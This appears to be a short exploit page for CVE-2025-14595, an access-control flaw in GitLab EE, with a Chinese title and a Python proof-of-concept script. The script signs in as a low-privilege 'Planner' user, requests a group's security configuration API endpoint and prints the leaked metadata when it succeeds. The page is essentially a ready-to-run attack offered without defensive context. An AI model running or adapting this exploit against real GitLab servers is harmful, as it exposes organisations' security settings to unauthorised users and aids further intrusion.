CVE-2025-14595 GitLab EE 访问控制失效漏洞

import requests # Target configuration target_url = "https://gitlab.example.com" api_endpoint = f"{target_url}/api/v4/groups/GROUP_ID/security/configuration" # Credentials for a user with 'Planner' role username = "[email protected]" password = "password123" # 1. Authenticate session = requests.Session() login_data = {"user[login]": username, "user[password]": password} session.post(f"{target_url}/users/sign_in", data=login_data) # 2. Send Request to Protected Endpoint # Exploit: Sending a request to access group security configuration metadata headers = {"Content-Type": "application/json"} response = session.get(api_endpoint, headers=headers) # 3. Check for Data Leakage if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Security Metadata:") print(response.json()) else: print("[-] Failed to exploit or endpoint not found.")